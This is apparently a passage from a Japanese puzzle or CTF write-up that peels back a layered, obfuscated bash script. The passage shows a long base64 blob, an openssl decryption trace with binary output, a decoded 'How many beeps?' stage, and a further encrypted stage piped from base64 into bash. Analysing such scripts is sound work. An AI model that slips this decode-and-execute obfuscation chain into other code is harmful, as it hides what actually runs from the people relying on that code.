p1QjOQuZx2yqFb3gKp7Gm7I5Kvy56CFQKxqUHtEvRF8oTJMy77dNQ25g7s6effkvKHbiEQfnfvDiXlCE/CsPAvUxCCnrThWotiPslW5GhaZ6W5ryzSEI5nYLeOSodvNfNQub0WWwNKZRzykyy55J7LuecUt6vEN8Fk2KFoQqy8X4aU0qsBhUV773qpVVN9rJRwt5EHfXhXI/1xYgjYDAwX8UnlHD3rv7J6e8Oo+TBpkC0JbcRKSti11ApDOXfZjrZPzZDIbiya1cfBJnzR0+iIEKDWDY+peHAsVsk8AWANjeV75vJlOGt40MeECNmPfwhAQK9r9XxHeE1o6TlA0yMeVg/Y5uS3ZClxmNVkmyXTbxPzcnpauHD+Jr9ovWOMdTGcsVcgSgHRSSCY5CFGUAxnRXETFfG0CZVfzqf/YlHvHU3ayyTkffcG1pKYyonoxA+H/l/yCFoSPEt8qC9FqNkFQIuTbe7WzrUbh6YrSMm90hhp/mZ5FLvY11C3wPackgsp/wER35FIOxWzaWUwbhUWHlytBW4U2qLO6C8AtslTiyHS7ff4U+wUnI14502McXS0f2J0WdlWvWcoBCj6maOYetyzsCJofULOh1CK7Rd2jgc3h/dwNvctU909ww985mhl+m4GgG9n1sQwjjogoL+YNvhz8Ku4fuQoHWGPi8QYzV3wBGzfNzPfgOkLsunWpAOYRWTlR7p+OirVOpK/rPipZ5Oy/pzStPT009I21NrUuPXXVsRHZ1AAVBlufkFv0yV0t0qWZ6IW4O5F8Ii1Z/Gnz+cdF7001+5dd3IliWRKrtNgkmiXH9CUMGwL+izPDR4ylffQPqEzz0IVkq1lerd6pNn1LWkmmAi6rGdruw6rkyGhTeRx4aY+wHKhUIa5YT6AVjM4v74k/4z/boB010KUNPN0gpTvK4Fsq/mfwDSiSrQ6NdnfyoWkWKWwYEpWYijU8wkb+kA7BTKpIlVYVBW+6gM+DSsziavAiKira37gcnxE8to5B962piGwYe+L+iNhFO3l5/Bg5gLB2jbZM3flA7HSmLqBZcTM2wZY7+ezoEvoh1l8xbCVwaietVaEF/auVibgOBPkI0R6vkmpNjDaCdnHJjxAiDbwx5fBMgm9gobJuwpnWd3mmWDEX+OlGqS0PVRbNRsiu7uk36SNjvaQK6WgB3CuxWVfs3M7MOISAV6kDtcIBr3yu5nhNpv6CGzzprSBFJ+fXSUagnvq23z/gaVarBovQKmWt9PDjamnpr+TA1m1MuljxuMUDZa+Ije2DNaXvVOLX+NGPF/P5o/Z2RcEoFVujQh8IBo7D/0kaVCAw1HwiZOZHDtG0pbPCbsHHOzjPogwIIFK8rrGdQ+w+XUo7nZ/JKWsRDayXdXYjuVtLvmnDxCX7l5GY2ImJuUvgqB2n+d9hVjTRlJkoffdSS9UZwTfv8PrHIVHbrr3d5y9QDT8Omjdx/7nX12PgGvUD23E2z0OTKITMPX67B1uTqEBbz2iUZ3aGeIl6TFA9qSrbDFtU1EmSRivbjfeXFT43haYzkhclArITZV2Jcnl0lmTR8TXwkXtL+rhUyVNZDCqUp0NUnZgyDddkepEj7RBHd4Gx3U7UtrGjFqW7iKWhLMjslt59zEk2Y/NXyzAHKKM/qjIuE92kVNTyLKyXwRK+08L3k8FC7RuCBRgfox3v3ItaJwjjFXWGF1ZEl92vbcN9wW5qO+LsL8js9rCm4DzXY+0/d3ys0BOe73gw73Gz8GmFNGqgKUhZELCWAhiKdW5FOhAUC047Xri4dZ1HKDzth9PRPZ5fWgLbq0UhQujHK3q7KLc/qj33VKM8+RfBPjSBpdRz2d4Tw/mhJzP9GEiaoc9bzINPUa/VxKgi6RgNFKmUsgmGMjVhRyBfrY0arTiEfu98qqeBpCuE/fOlE6eXbzcEXF6ELN8bpULho2p85FNQAqR0e29pzVhkYJRwti2y6cKBXn9WWdghERqwaXXpaNFJhG6xnocp/Fdcb9u+25N+NwBqmDHzO3mtofK4sGX01GPjkkq2Ed1LHcugOBOpZiAlCflyMXSyn7fXMdvXpJIfv5msoUIAG1I7lW7Zb78+LG1cuwaQDE5D0rWAbHplSmM1Lw2Zeki+K1goTmeluCIlu/CJTNDAzFXI6Dd3JGEk+sjXWp8whofdW184NBQsGK5Gz51dK8avs7J4VvqUy/8WuRo+14dPG4WQbzQet6K+s5d+Tkf9lhVZ9Af5ye1TOeVF1l88aXZUQLf8eL4SB7Hq5K2LEKKWQhkSX3QGjA10MmwFzt7BIE2/auAJ8Ln8g/QpzQxGAPzpLKUoB3EW1A1JlG4Y1TUPLBFl1/AD3j4YpLtwiYuCU78alQei3cycbqMWz7llJtTmP33gWcgXgwx23ekpWVVPRslH0hw7W7qzOZE0ifTIJ1nk9kpkgOlxR+Pphx5eonw4puDmosO07GxMNYz+59A+9efzk3Q7TkoPBVrwZgjc86zRXE4a8hmXSTRZJo/fVH0d4P3Rp2h6VOsdpqIHsTgve8vE4yJfLnp5v+v9eDLmaHI2FmZ0u2TJaPWpwUOIdMlztS/+eZM/0u7LbBATF8C32eRLgLJpOsKdyJxJlR/LW1rhkJQp37qbgKxd/TM56Yn/n1pT51Zm/87A40eiEhYnqyt1quVki7++68oExP89s+wffdewImpQiLNN5L0DRtUOBdWdqKWhdY4rRB0nGFVNtd1TNPqXxPM1/83edQCIpDbJWIbJdj8YFy4bteA4MHVKg6/pfaGVR5nU8ngbC+hZv5hiYUrKaVCFeTe40LB3Jmfepx4nAcs0S5izKX2pa/30VFIJL46Onhu4qEovjOim1m7cYRjSkO3hqozYGWR4VWkqotzfz2JNSqECovdyVnSPgZTL8EuoHZfrZDHhHqeKfuTVkh2eIXhUCWn8ml4jAPojv02fzYUu+EPjD/1BIQs/+jI2QpraZWo3TezPU54fU1RebTl3mvd9i5MRjx+TA5pLfHFcqrX2TEknuFa9dQaTPHtgo/zuR3IqQnW2GoMhrk4cb7Wqub6UO9I3J51OfuhrzSoTbtj8M0CnlEPVStZa7ihZpUssZZB9e6qJh1gCrXCa9YyJn6u4HsLmwc3CKSuj0lHLd/3XovImya0IWyyoBiqTrMtSiFAX2RGu8kep3MkiS5z1Ew0NtDbwazq/IKsifcye4NkyvfB63gUMzvAM1j+IRQ5W0BnI1Rt7Cv6jhC9r/GwqCfUrms/aOZe/hsBX8/IqvwnoPHClM/HlhKMqH5ux5LY/ImyyUcDbIcgmCuQjm1LSb9CURVlzzEFTjSFL3G30wILXo+GWZRLUOkHBvZLbCYvogNv8VeelBlq+itDSX2HgxEfsJALKmpp0dJ0IcIF8RjA9bBjA3jGUp5kudQcBriHNnAVTVBojBVadt80Xm742IjSU6MgQGTWToInDygDUWFQHu+1KcpZjkK6FcvWUVrA+xXhvszeybMtMhErT/lC6Fe5pGNFoin5hK5hDSikEv9mPQEOQ4e7MT/Z6NEW/5/FwHcfqEexXc5u/InKg5dBWkKUOHsDip6WfUnZsAcBx0OPqScxeqBU6fDjqVtkCnR99PoOBbjcMNAeAoOqpaUbXrNHrAACKH6NmktSC3jdifA/S2odRGfJr457CyTn/2GBwBZM1+DhWfzi+wG1swTyT9S3zdfWMUkkthexQ+PdUuRRDbwyuOS8i7GRDcBlFojcw9WrENRJ3ohlFVp8oY/otmJuE2mD3ERGwJ4heaCTEVFrDqsKL6sEnQLEHG3SLa/I64Dso+u8ipu4SPBk/1IGjwyQyv9ka3IiFzVbIFSeydXfI9ezobm75tuUAakOQLiKSarzElRGpxTsnoF3iZtQXYsQ7TKyyo2V8IVcsueVBWwZlMUB6foTQUI80PL0ve9zs2Bw1g8HpCDD6lWBw9otsejhUOxQUiOO8BdnDZmK0jdxoV/InOQKcQYWFJLgzDmcryA2hXFcnKLnx1go+t4Sm93emUNh3XQPtqehCLLsQxVBaGo5M3yI3mBZkW6K3hV4h26wGAc4doJpVu7rx83a6BV9EFCYWgvqqt3x+PD93u2ZvtzmrVtgQaS+pYteFJ1ZqiuDa4JbEFX6HtYzCg/L7FKkM3wd6qXiIBkuARp01Sf+GrECAK2eMX9oK+ixnAldyzVMyiipKBnVM2zDMsHGlDZxP333YxG5NExHB6V12cZE7KdEhrLHrxjPn9oCWlbbaulQv8QOXkVKNjjLXEmQOldtvcdDS7D4fksDfXq6jdiyzPPoeHjRnJ0gaosxOo5VIIIynYiuwuLUekAv9yx5h2IzR3R9+g8MH+ZSKiBjK2/6A/OHXTs25//BeUfL24yF97DV8jeGsdc+RbIc7GmahNFpopAyg2ffMHUWEdxFJyJ1MwjujW5eXlv1SCSIPeozKu8jzfQhmczpeIaqQ7cGU9ZbKdVvDAr4l2wToy+1zPvQOjro3aXiCbEqchfhdMFDPXweYXIuufrfcjw3ZMhi9gz1BGJY1YwhzjxLttjBgy7u7GxYT/t5Osl0Sfa+N9ho/EqxF9u0EmiKQq5IRIRAMxnsqZouUh82l2BZe7KJ54n4AsWQEsaKEkPvg1lU+Ocbi218HepiEkiNGxa77y0LuEcWKGc4UFn5kv7TVsTxk+crdql5lIHnRnxjIHqqa3l/Kn6auHeruh8D1rsKxQvj/mgK7WQ1iTf0ZUqFpiWMiVMoFMozefcVoOTl9sWmX9FQ5wqaKMFTdz3+GGYutjpOC9K3LI04TQA0aCMszRsszNvP5NPq+3tSzKa9UHY8GdJ+sCOYCnbROd29IOHm4sHC7F1Ev8YpSI9ztwDMrtrLUAz1Ucst4kpMLqkJkd89D4f2NGcOnF3IC/v5f2+29NqU8tJLYVo8hk9GRo2cmzsiX2Y6JaRQqyB1zXtE2qN0iabz9JMXZ4KlDOTY1yPVxVIehCECJ+q1xrgoitUyWgUsDyBNY2ejajSDb5nXK+1FeA3CJ/jdyeOyHcZQ+AaShdCzSmW/0RpGyyIre5xRigQyvEtHMexSx9K6oINEGqMuAFjIZ6sIUl48YremkIca6TUTns74/gxfD7J7/JiMteqr9i6SJtnnrLHDroNOMw6KbtTMgaqBgc3h+QLcomWclAyfl7nUuXqT7nsx9i4aqpLTUBxp4lUmTy73omuR3ulXtOgYl5q8sRxw3okreHqIxD3tALEnsN+31dJo4zbfGWuWQVX7wNHMHcAvlVV3JsdaA1UI1TOqfamSMPL4ewl/yDscAyBNiTZjuzI+FV08zzEguU/+d9L4+Rww+O7oe2u19sFp6VmNXXb6LXi5eE9saq0qHQd2Ie92SF4+0gFDvQ9ZsUbAP+uAmgCObQH+hjsCSSpdt8owLBUtLmnbSBqBPSRqA8ZYWcGJLpF1j4OulW+jjGqPl8F56qNEqZN1ww8ID6C7BlImpN0NpbOgusA5TUzm5AH21sBi3jtAiOZ1HPj5ivvrna4YgvWBFfEfL9tUFVNJ7tYHnN6Yq0YQGiaGepwGg57Pa9qsa8N6p8s9ZciHCof/qu7w8lh4vRFDCX0ecjN5eTZ95kY/6edN6errImFTdG9FzKWQJnomElqojNw51LAwfDHmRLs/5l0GBBzb78FrmIpSf3Pwdgmt89Qaxvjza1KMT3rUF1cQi9o7lMoWVvNJ23j1XVxalMdQxFj1or/2Eg0nioMqqiiagyugtxEeHts3nOQ4l8qeCQdbXYvjZTEM5NVsybgmmoVHAvThLGBFvf1+y38wUdpYdLVkbBkSWyCN3x9hrYjVnUIh0f6B2AgrZ0Nsd4CVWAaK/Lu8UcqIHWIkHSxKJWcodkj8GkWjLlkJjy7EUh0mfyY1HdpSSkknWwPCKG3bqhgBp6wAPXB933zDUR6vuZ1JMy9nS/54TdMKCZR39ke8XaCmE9c1ZdK2ViTCHnQhB/F2HVy+EX6vyVnryM5d1g8uQLsgMlc49o6/J1T6DG6YmB1CY2CtJ6ojeQjJcEStRjFFe9y0Fa5w7PSHYufbcQlM5HSJsPXN9LrAfo2J5hb1bBrbP3Om3zx5M0HFWAJg7L1YbK4s4DbLExY2HnFroS3VNkxxYmONvRSNQe/YGQPUfWJaPQMH/dZ+Sp4R6K8fKoRL0Z24E722tzhJu/qECx+WeiNdCsqJrI0fAHP2WtSTooaCUCj1xs746z4kC/qgV/tdfJQL3iDT6MwJ6/I1sO8vXoi3UHWw+OVgP9FgGjC/n4hX6BZ4nLljfFRGBj6x/hE5WtFQ9EwAaXXdtP7FqFkgNl3mgiprh8bM1oDK9rdpL0m1rralrOLJ4bGck0DF6bYyDcSr0G5IhO70o3ya0cdv0ZfCfwmTI+v8YPmgp85tThi6vC06aJP6rlrjHIW1fLEwaWXIs04qGQMTel9FZu+QVfqfop3/hbxb2F7bkTRk9LedycROekTOz0aUyh/QptBOzPlzFigDm/T+TiLGO8651EyCfgJB0OHF9eK43Qm7Eo+MOI89Cq6JNiJJB21+1mftCLyZ8cGN+Ydu7LgreDzfs+dX1p8zcK8k/xMYXew9iMLxI1Tg+EGaj+VN+jHi5Cr9n81RMuUc+HW/wNwarBY0zA5yWROylBVC78BLa6P6Kt2B6fcbTtWlLa1DtY533W8jFWMVa2+LFKtzwxs8OBRiBQ50yqwm+eAM/i5emMlouEgdslxn3XFsyPB1EagCsikCUDMSQglSDO/1N87uYP/VvyLoY/au2ffqrm5Nj1Leg7dfuyx75uyWpiSpuAdvbFDu9uB1BetZOn6IqeX5FNGhjIb6URp/pqnoho6my0PYWWlh/0lOaDWKR6U+qZrxfvWQ2M2+IXdpVVvYm/l+qW6sASJK1tCJ+DmZeW25GfYPDiCUcXPAygPydEleaezwX96S2J/s2tVAi4wQl0PWs8k9ulnPG3AIsk2Ee7/aZNYmCSFcj1U7Ri0XCPB/bqp6AjLVuFvv3sKAhCvRYdFlbiZ3Cculj78IuDbilWL0Ymf9DTLvZHpodFXZ1Ln7sbggOGj3oup3+cwTbhtd4cNZK+XRwHmQVtRtmvc4C8qe1Az3DOcllw/dUBj+v+OaYlVLHnqilDQ1DrL8CeyzSCWN3CPvUUKI/NCLoVvBPEragwQ5dHHlsRbJeyOQvgr8cdKaZr/D32yoCuZaVEHST3H92XYtSOnSuBzgTlhn3wR4BYT+X/8A5Ldhe+UbEPXiOPVuPz0KUPLg0M1NfNOsZ1Bha0Rb94QfdkMNSHdXLy8tgzjgrNSeqg3PIulM4bFyBqojS9Ze4Htca4XIEVcfkhJRdkfOh4UsiiZ9MOSvt8bxKQSDHS8DUxKP/lrEn71sq2eO81pYFsPs9K/s0JdpJM25i7bohsGRTaHNddqrRJMTYanC7fr0FbTKest/GP6rIfUg6Rmpp6hUwCdSVYNJWQ4drxGKBZJyqHEYdkHB9ZPOf2t6WILJCnP2bReaz+BOL8ULcww0S/nV/MsPpPgsw+ZBDG6/h2wobi/ALkhOw+QEWcpCdcPAqChxTVy2x+WTHpZ3Vx+Q2tKb+iQs+wBn5c86qOxqlpiRALZFkj8K1V8rBaEuaFBfuEbi5XTi0vpXg+hpHaNm/UQtVqu+4CjZunSaplFxn3I+ZDJccrqZvLfOQ7SSwxBmwV8+N7fk26igcUhxmy30GTo7LLzWY2U62/fjy77mng51iwkvBMMolizNYZCwiJL2n8C5uuFbgzLxKIhOap/Bd+WUrpjiwQewvDfpEXxxqZPGF5ILwF7iXJl/PuiKY/0/QU5HRqE8wgDIY/WIA9fNQsQDYb36W4o9VtMB7SrLoqgp28Wqpi8rSJ/IstG7uWa6xlSD2sXwBQtNd8XbyCI2TGqp3R4PCCJtqkz6kpZxqUJjl3NTFs8fwz7wjLKuBcf42xssCFoRCsbEPdl25hi965EM9YFQWZkbH+J3o/EXe+DGcoWnlnOmwjC5RV4lmd1CuoaW9VQa/s/+F7BbX3xju6oTIlJQTJdmk/9MftHTG5LcUJFwvfb3m1b+jWUfDuOYKve85VPBMjd4N5C9IZ9tiMD+6d4VZ5atGlwOdR48qBh9NfnQZMraSef+R25f6eCIe5CI6h0Pao7mFzKd0M1+prDxGiK5ZIF6pzF++HAQrjnutP4X87tuSkRy+uBMv0AfLu4TY1HOOo0hnr/8YwlMKloSIND+Wl3+jcePMs6iIdDkqcPpOvklsU8yjipKLlYP7ZNb/sBAscskAv8xEr4shBQe6UCdNV1f6VvUljkMsOofNrnrDpdRUh6QaweqWTYe4M2N1DgOpILsGF/EV/IyJHDuyVSV45XYc+b0O4HO801ulwaCCrhzRvbFhvjP5O/M9SmKJ+DvIupNjjtwRXjKQ3tR2UEtr14FfvLaGiUiCrZgddZVaw5M/2VYHNIeVdwn4ndeZYDm3njfVOAY0Bg1+rlY1IMJ1+AVZ91sH6EcXWPNHCNhuceCjtxmYiMSU0Vs851A9onx0CCbgB2mdKLaj6etltAhQPYp37yvRARbZPyN1MVV7Px+45XWf3n9J+yUg2JgXnv6lqcZiPJUcj1XrNU2qQ7IMOXLy2KSKn7nGn8TrKZuZrEB0mlxfYIg1XP6JkMUkKRAbCE9Zalv2A62Oo9ZaxlLQo06DuOIRI+SDUc9/H/ccvXj5B8OZYmxCoFJhmo1ggTV7T/kJ/adv96CRkJwngazGHevhZGqd3tERuM22ZQiF7YQly3nnSkG/2w0tn4i94MTs98XLCyGKs2sFThxVzlBOYAW9mVZkUVD1s5TMj6H3O67TsZ3eA5Co2aI3PT3RH7viYEDnHkHTuHGOLAZ6Z/9EVox4St4qOLmzM08zXWjmC3NPxNPKSTenxR71bSBPL00rtYOCZ5xBj4M2MDb0Pg1Ni6GwNAwSvqFUWfLVCApEJUccRHQcft0W25qsFrOXXvuSU6bKhSQCx3nGO4ck9vRMZ4HpvXzI7PmBVgcAczArtXBYANXRlTLonEr7FijQXrl8kLDDQ4wj8j47rlZr5DPmwEXauLu2W4uzOHAiVjOtITuLXt4JNHR8JiFfmP28UCOGpx/x2IpnHNyX4/fWWSnvrL6gLFS3nd0J8BgFQeOuRzNexcJHOI16F1iYawUtZKmzQH6WlMapXW4xZ3nS5W4J4O6vbk6LwU3ev5DVsyNwB6ewAuBmzohRJ+siMeDcN3PaFjiUvsRLoqhe+9NWGoBIatFxAeTbmYlsLx9FFFj9D+BnnaW9D6JS2ub/axuCjLLP+eUiAlBXaAxPCnuCPA841w2hJ3Vp6sbJ7XMhbxdfpI+jKDjDktFNo/oexrZZtKIEQiCG+EVtAgMwkFWybP3nYhtoUZwV94MQdC/BVI+EuibTy/dcOC1EK87r6jUCo7wiQNjU/l6Rgv8x5ml6siuCJ+tgGeuu5nKeuVqU53CMamkAy6Qv4bQG/TwTT12riGq3qOqc2UOnj3aihEZVm8Xc3QcsjCzigKP25byc+hLvqNh37Y1pNxGQQI30cQUZT+2OANYzmhUbIoZ3H6ETXd0AvqwnsD5k+owRgVBUDfxl9z86HT79YMcdla5+fIlYuUE9SCNvA4RVJBnMWP//NCBKraJxUKNvVUxDEgwHZWUrCHMFrc4e52j1x5V3OsGwC/vjmlAHGiYVEjjJnAdfS3R2hWgV0X7VkiA6yvuDbK9a5o1i4t+WQYimxaQAR/fxquGIB2Yafza7kjoA+1e0wFoiN6i5l+lcbV0LuGFh/KJD2DAvRgFKYpCe5JUHyFfVwgldQ6kBDIHyOcEGqR+NsfpzVsqWBiC8RF5EfeSVcAQ2QCmJfxp3Q7Vd13vA1JeZQKVczODWVmwmM2CHfuEsJVu5PG8/PUslYVhTsdHk2lhblsHz002SXZvrUlIkqBfzfnDrwtLMal2X4IHNOBIEuf5Csa2NcUYii6yqboZpBK797ifm/TzKULBTwjq/5USQJb0iwB0Nl2yfekqqWcf5UozhRbFxKvn0YlxqS5lhaYvw7DUmeOb59Y6H2wVOZ+xjXRp3op+SYqEzbvechYOEL8pNMbmGktA1K7Fbk1IEfBFiEDUtqRG+feo8RXScRvsxd/FWCml0qx8dVgfUvqN00qbK4xNTmbUHCJ372Cng5rMZfq8H4oSZW6VtBjzM4rx4Sbcr3XNOmc/9AZfvQseQXiZSvdw7EnNoIUxnkYZo0YqSYkKHcc5PLgu0Mb3Ibb+6XnAxKKHiRoP4kHQbZXWRdArrWabTS/YVJwS2Kw8W68Kfb/8a2Nt5jc+y0HVGYy5MvKcBx5F493p6JtadLDJi37ysUOr/7g3EP72CsAiiuGDBvQ6lIvrMXa6e4/M2oWtr376HNM2tri/OdyUy2DbAJsaQCBwl7mcVY5DLxWv4w29uppBEipoA2r8TcGzKMpoCJNTMKqCjF7S/QcY//lcK+a05m7OvaACs8frQ0/2cRn53tDjbdJFbNFweVXgq3h/NyAOgnI12W30cuANZksntkUOhghmsO7SDF+S2HymH+7ewwEGBExKNBnIvCBwzAWA6spkG5jWbbBDodlvYvuk6LjDtKHiDZ1iRnELNrtPsDYzzPhs8eP22Wzwhn7J0d0TGfIlberfWUWThvM4mHDJ1xWmEn0xRNk1CQyxEDerWugSsFkaE+dqpXxZ40XUvkZUD2cr5wN4d90kogg1s5MyOiYBkbiuZLmYbVgNjG71XAtLUDxR0jrgXFoKmuekzZOHZDic4b5WsY61y/7vjhbV5ito/NrrO9I3wx1/BNynOfxItG5IUXJKthdaOxA7VwpgvL5QGw5S5z9Bm7gcjeVK5y79xAFclCrcp/QGeSfuAWJFPpkNU315VjtivSJY/woyb2XPnT3lYmCu4yJ5s3OZIbfTUT2qcoz26exiIEB5obHe6Wi/LryltPPmJpILXqeQtVsW1sipj6KSG70dKzN9mRBv96m6k9DrWSbPJ+hrC+NxfkHfGIPPKOEu+U6pC4/JYVoeLJrZdTzlpkS9V6QCzm9M4FPNMZfi6++TTaBU1bMAdYCTj8iGPO6qddiQ//ElZodmRS8cWTdMR0xy+Jj5Zx0wy2JMlpQdfIE5n/z27MzcKVGlLSTm30mxphsXGKAGX459gG1kgK7sjZDuhA+BhUPVpOYK6NYq5ZPZo9ZtS02vbK1g2VKT86VljwiVcBbNV22wWGAvMm0cfrz6gUAGowUYfeBK3qcChiqeIm38Lvfxp1dVJndpcALsHwMJnr5fRv6O7Wh5A4mq2q5naopZrK6QT1886tiGjX8jbv9RKLB2Ig+7R6J+Vd8Eb00qp88HAmq8dvvNLU6mdvTd7XNB2VE3QCHevxx0hF/Ux8HBsSo0HyFKAki5kG4iluieVubm7V5rDhFfrBPSCiYzBDIea7Z1RJnCehp0eiPercrmhwSKSKV2nGVBu/7Vfx7KGF+hZJgLV0kkv37ADBWFjPK6XuAPgiuvEiijIGPbcM98iXCGgrS2DD109lqEVuz+IXY2UMslW5JZqyiEktPSVHFX23+WJrZDK2F5z5ru4vXzko5Zjrpvmyy626ptdlVw+2leQybGtlTwRHOJl4Y7YNnMVNH/yK63yENppfmLsrxmb5yaSaDlbxweTJ3TMYmtSqs4L9PcmGFblfi1fmtmQeES5BiP8KLKtcwXO9mMytrXcrKJpILnGRjOxADPhWiKYt32CQb7KiUKQjP/SCSMOE/GFh+AtWEZJ2KwOVFcxmKGDYH3hE9UlxO/OlaT9BPB2zpPs61N6qTJcGuXGCkwUrS+4f3Ew0KLoUHEBHMEkJZKR0eU1PMUuWG3RtR7xQ/ccxAD9mRISHHT8FOqK8dE0mPCKOHXD3yDhCIXpCwXJ/7Y/7qwDJKPyqui8Ti/qG8NSdHbZ2ez+bdcBKd8xlgCjQqlTEGt3cipGUUBYg5LfElJnuPdtYbNRVmiSnuqLtNenoaLIE6Hqh5mI8c/GdmKw8Qo4r4XxnQ4AUfDucDGsDxut8/KwxFIiiczR7HCIYimkDgEwPRtT8aR87w97RIHzhabJ8EgOzRusWfVTPlJexrPf8Pb6TnVShnZvnIWNMCE04TRFZW48ekFYSrptaA6wMyuSOLxaDB4oW48PNrNZWCnuP4I8LeVNNbQXyLFr4lu0ZzRTTGpSD0YDSUsA36C6R6m/PjPhBqmAgd7AloR+WgKCvZLL9sp7Efx6upuhx3/IOCkgKIVBOrfyvh41ZEqSLFjhb3WpQSpvo3acQMkZ7bvyvpBwEDeuOp7p+CzdsZQcEXlJiMsDGN/xcJMyv9D5ETrA7WrpX/qF6m25RcYlhlISEu8brd8Af0vBFtq5389oprH1aYPrUiOPQldXA0ptlEjE6YNnieXgg/gVXIOlU2BAXO+NnWs1foiLSldtbHPiFyjar2YDECrLZIazjVHfFTR208ntZewaG8N7EEZNyDftZxwJKds+LuljrkDqUJILzv4yvwVrj6oZa64QTSxOczYkGukBoBOEDqvJ3Mpl/BfBQyqgDX05qJwG2zQib43NX+PhPY702AzigX1LpOu1Zx0n0xL/tILvDlx+DT1UTpRmE0AvTvGrw7iA3JurwYyWuntgNwaowTBtfEI6qRbdXwxHV5XaD7RqLAuuY+8gQzuq1h0qmbho/qsP/dVHjMP3w+PdyB3kyUBIhhAfRh69Km1Oqoh0bfxc8A+auQdXKFVIyrz26qmVd9OXVlomwJAvr9jkgAVMX5h3IRNNmHB8B/nvueT7xgB9y/332+VjD9s1kcCi7L+SMMqoSpIpynDRwmPco76Vf/lMN4bvOzaRB1/4xugfzlJ6LT6xe9BjOByezo+VkUXQB/FuLNDpldAvvvfbr4RFt9XVVS4bYmlNyyCNLcbFTquK6sT5uFOydtANDt4MZ7Zj9KM7uzOhgYNEYd1TBzp1j83KH9UR+chJdKUSpjcrtsH1vEjd90k7+tqElC2AKUTkB0MwPjUN286mlr9tuFzJhAiSnzFPE/0egkRtwRu64Pr4bHb2sedoHv+MVB9avz6zsb49Jjcxkfmh1CMshyL+L8KVDc8A6hxrzg1LfCU6zMA1KxpfHkrZJlmsb1AAIXqvjY1ALHJD/zAftk84GENIqUDZRsFJjlULc4mDsP7hwM1vO3fbmgVMFyaC9QfopzLFBrURSmunN3MYzJOQuRYsQCkqaGvOCHaQlWXlu/dQif47i0lOe/EcSnuud9f9jJfmaLxeTd87CBKtzv2ETkEL6YMNJ15zlspn/prozyYTX/RBnE8b5MyD7WLu9dXzooETrCIGnsicKsZR0oLKMnqKPkYZXcEvIYi6NUvbKnjql6GM29KGuFjGxOBK6L05EY+RIeD1S83+r2rNQwaSDZ31OaLnAlBqf6xYcwtjFPgh5OYqSnSCQNwsYxMvBgljJbzH45hQc1+A+9vDUnFpBYVRjmVGaaLq2m678brUIEX1kELhMod5OcahQGkCTjLieiJz2CFrj9T6IY6A4gUf9NegS3/RsAtpyBDM4hkfPvR7jqobkwkGOPAMkfqvXlldhjOlwDyrOU9t+euzZHy6EwS+CCbCsc9wlOFdIg248uI4S0ZnZLI3JYXbF2WNf9BO5YY5cPlAKAD7Fd1QQHqpRLGQHqIiQ0l6cZFprjf6sJVhS0S0rG93cdo8PspUgNiz/6FqhJ2jthYqTnJct42ezipW3SGvJNiBUFUgng8jABMQaj6/f5crxe1eEv7OxhOATJzqqhB9Wh73tJgEXI2m8Rc4Y9vVtKdrMOn6iYaO1JeedPjjio545wfMFV/IKodLGAWkk059B8b7jaE1/4mYyM94AKAeO70GpzewBaqpJ4VvP6KmhGbuEa9Q1imUWHk8hyFw8nOIP64uWl+7+h1m8MF5gHutpPjjTokKSiip/cPngVo6CvaMAS1GSZOhHmgPhakiFOrak0husgVdih4aBGwnaKx25Fk8J83GmMh2hOoUH1SYfAzBhtDJnFSjZhmICUpnJJvThA2BxP1enHE23t8UBbHvx/M3CbC3WPufdIhmHP0F10OGpgfLlFGZvBimTg5DcBw3LkG9XNGZhjOgzfTRpGXhqQMr8cMPnQyrUh0DR7ZY0YLf1HWS8aGniw8mBaFO2C1tZC0rlk= ++ cut -c2,3,5,12 ++ md5sum ++ echo -n 1 + openssl aes-256-cbc -d -pass pass:4c49 -md md5 bash: line 1: syntax error near unexpected token `)' bash: line 1: `J�e�<�%4�?�q!�l�dN��ƕ�*�[Z��p��u#v��㼗u��y�h���tz&�Jhxˣq�<��I:�n)';�������B<�z�����cy*������ �k@у�%PX~��)SBk�,Wغ%pc��D�E�����:���p��_kp��.l�B2<���ܹ{���ÃB�X��_�x{����~�$�8h���Qѳzұ�S� ��*.�S���yaACw�0V�C8ۅ?��t`Ñf�ѓD�����v��@ C�#+9�0�c�'�}��H�`[�*�%��y����՜����j���]���8��F��1w盾O@)QN�B�!�4>L�vƋ*DCE;�OhF��tGgp�%ئ�ό-6j�]e'I���n���e�UsF+�'_�Br��ԕ��M���.��JR�ImȾ���oD�3�t���rh���&D�2�v8c���(l�k���b����]��o� �e�Pu���T\i���v7�������ݵ��������$C�ل��ׂ��/%�`���Oo�5�c:t�����W���k\������� X �*�Re��<���n��q[�Lԯ�����m�����T���Q'9X(���^}��ٍiGd���"p ��6��(�V�� V��b�E*����c"`� nr��uR\�r����s��Y�#6�o[ �@�^F���]��t��n��Ř��2b�*!��[Ţ�K���/��_5u���D��?��v^�?Y�����*.�WF�(82��|>0���� ck����W�z���·�qKɘ�h�0���-�0);�Ff�l߅l�? ��%�&0p] ����a��UX#vü'
base64っぽい文字列をechoしている処理があるので、デコードしてみます。 3回sleepが呼ばれているようです。
$ echo ZWNobyAtbmUgJ1xhJztzbGVlcCAxO2VjaG8gLW5lICdcYSc7c2xlZXAgMTtlY2hvIC1uZSAnXGEnO3NsZWVwIDE7ZWNobyAiSG93IG1hbnkgYmVlcHM/IjsK | base64 -d echo -ne '\a';sleep 1;echo -ne '\a';sleep 1;echo -ne '\a';sleep 1;echo "How many beeps?";
3と回答すると、正しく復号され、新たなスクリプトが実行されたようです。
Enter the password
と表示されました。
How many beeps? + read n 3 + export n + bash + base64 -d + echo U2FsdGVkX18/dVsEIYzYdHlc7BVNg3Hrv5bFmN/mVxrYNXUjnYiCuDSCkUzl+RcdoPcG4lhrGT6R/epB6rV0cLehjx8aWJInLR+W2tf+RSFX+6LFZFVz7dvpYXD/DD754mX/zS0XndPpvTfmCgACxI+9MDjvo1BLgEbe3sm+g04FYanJMQ5UwRtE87Wrs011AhkHkYP1Fn4JoOE+vgfutAUty7raae0I+IKh1TLWFiwkntm1wP0JHWLvhD/DavHhLn3kbrZ5KM5lcZvvGWiuP1gctAdShPE4WxNfT5MZKzFrjEv/b7UGtU1iAt8wIr6+cHCyyfP5IcMYeAbshRJN6yTPyy/mA0PBxWf+gArG4djIpm7Wwjd4IOivx7TgaJFxMjXR+7lnj9UNdtUDPMIe4D0r5t1B6+RB7w/4yxxsyNVfZMwZ1FEuN12gUbNi0S5wGDbOBOygHSal05ra3UIYo3dL22j/0hfW1IzoZ4cwyJpWINKzdRS1TwK0qK/e1+b362A4ufLuJXFpqmJlpo9nstnaU9PqnOpJIcWjJMtKeZ/PjSUr6Ufk3cjE7LHCnK5/wkiWoXr8